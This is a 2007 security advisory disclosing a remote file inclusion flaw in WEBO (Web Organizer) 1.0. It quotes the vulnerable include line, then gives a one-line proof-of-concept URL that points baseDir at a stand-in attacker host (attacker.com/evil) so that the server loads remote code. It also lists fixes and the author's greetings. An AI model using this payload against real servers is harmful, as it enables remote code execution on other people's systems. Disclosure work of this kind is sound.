ECHO_ADV_67$2007 ----------------------------------------------------------------------------------------- [ECHO_ADV_67$2007] WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahroni Date : March, 9th 2007 Location : Australia, Sydney Web : http://advisories.echo.or.id/adv/adv67-K-159-2007.txt Critical Lvl : Dangerous --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : WEBO (Web Organizer) version : 1.0 Vendor : http://sourceforge.net/projects/weborganizer/ Description : WEBO (Web Organizer) is an open-source Web application suite providing a groupware calendar, a personal address book, a shared contacts directory, and a personal desktop page. --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ - Invalid include function at modules/abook/foldertree.php : ---------------foldertree.php-------------------------------------- <?php /* memento : TreeFolder( $label, $url="", $target="", $icon = "", $id="", $options="" ) TreeItem( $label, $url, $target="", $icon="", $options="" ) */ include_once( "$baseDir/lib/HTML/tree.php"); ... ------------------------------------------------------------------ Variables $baseDir are not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. Poc/Exploit: ~~~~~~~~~~ http://www.target.com/[webo_path]/modules/abook/foldertree.php?baseDir==http://attacker.com/evil? Solution: ~~~~~~~ - Sanitize variable $config_dir on affected files. - Turn off register_globals --------------------------------------------------------------------------- Shoutz: ~~~~~ ~ ping - my dearest wife, and my little son, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments) ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw ~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16 ~ newbie_hacker@xxxxxxxxxxxxxxx ~ #aikmel #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------
